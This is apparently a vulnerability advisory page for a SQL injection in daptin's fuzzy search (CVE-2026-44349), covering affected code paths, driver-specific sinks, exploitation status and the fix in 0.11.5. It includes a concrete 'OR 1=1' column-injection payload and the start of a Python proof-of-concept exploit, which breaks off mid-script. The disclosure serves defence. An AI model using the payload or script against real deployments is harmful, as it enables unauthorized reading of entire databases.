CVE-2026-44349: github.com/daptin/daptin · Daptin fuzzy search injects unvalidated column name into raw SQL
Affects github.com/daptin/daptinSource GCVE Database
Not known to be exploited · CVSS 7.1 High : upgrade to 0.11.5 soon.
Data as of 27 Oct 2026, 00:07 UTC
- Patch
- Available – fixed in 0.11.5
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade github.com/daptin/daptin to 0.11.5.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogithub.com/daptin/daptin | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Summary `processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/<entity>` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database. --- ## Details At `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check. Inside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field. **SQLite** (`processFuzzySearchSQLite`, lines 1632–1676) uses `goqu.L` in all code paths — no `fallback_mode` required: - `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...)` — line 1650/1657 **PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON: - PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)` - MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)` - MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)` `fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), &queries)`) — it is fully attacker-controlled. `goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter. `prefix` is fixed at line 351 as `dbResource.model.GetName() + "."` — for `/api/world` this is `"world."`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template. **Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/<entity>` fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path. **Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`guest@cms.go` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed. **Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing. --- ## PoC **Environment:** ```bash git clone https://github.com/daptin/daptin cd daptin git checkout 5d3214244890989eceefa694bfc976ef11458721 go build -o daptin-server . ./daptin-server # listens on :6336, SQLite backend by default ``` **poc.py** (Python 3, no dependencies): ```python import json, urllib.request, urllib.parse BASE = "http://localhost:6336" def post(path, body): req = urllib.request.Request(BASE + path, json.dumps(body).encode(), {"Content-Type": "application/json"}) try: return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000)) except urllib.request.HTTPError as e: return json.loads(e.read(50_000)) def token(): post("/action/user_account/signup", {"attributes": { "name": "poc", "email": "poc@test.com", "password": "adminadmin", "passwordConfirm": "adminadmin"}}) body = post("/action/user_account/signin", {"attributes": { "email": "poc@test.com", "password": "adminadmin"}}) return next(i["Attributes"]["value"] for i in body if i.get("ResponseType") == "client.store.set") def rows(col, jwt): q = urllib.parse.urlencode({"query": json.dumps( [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])}) req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5", headers={"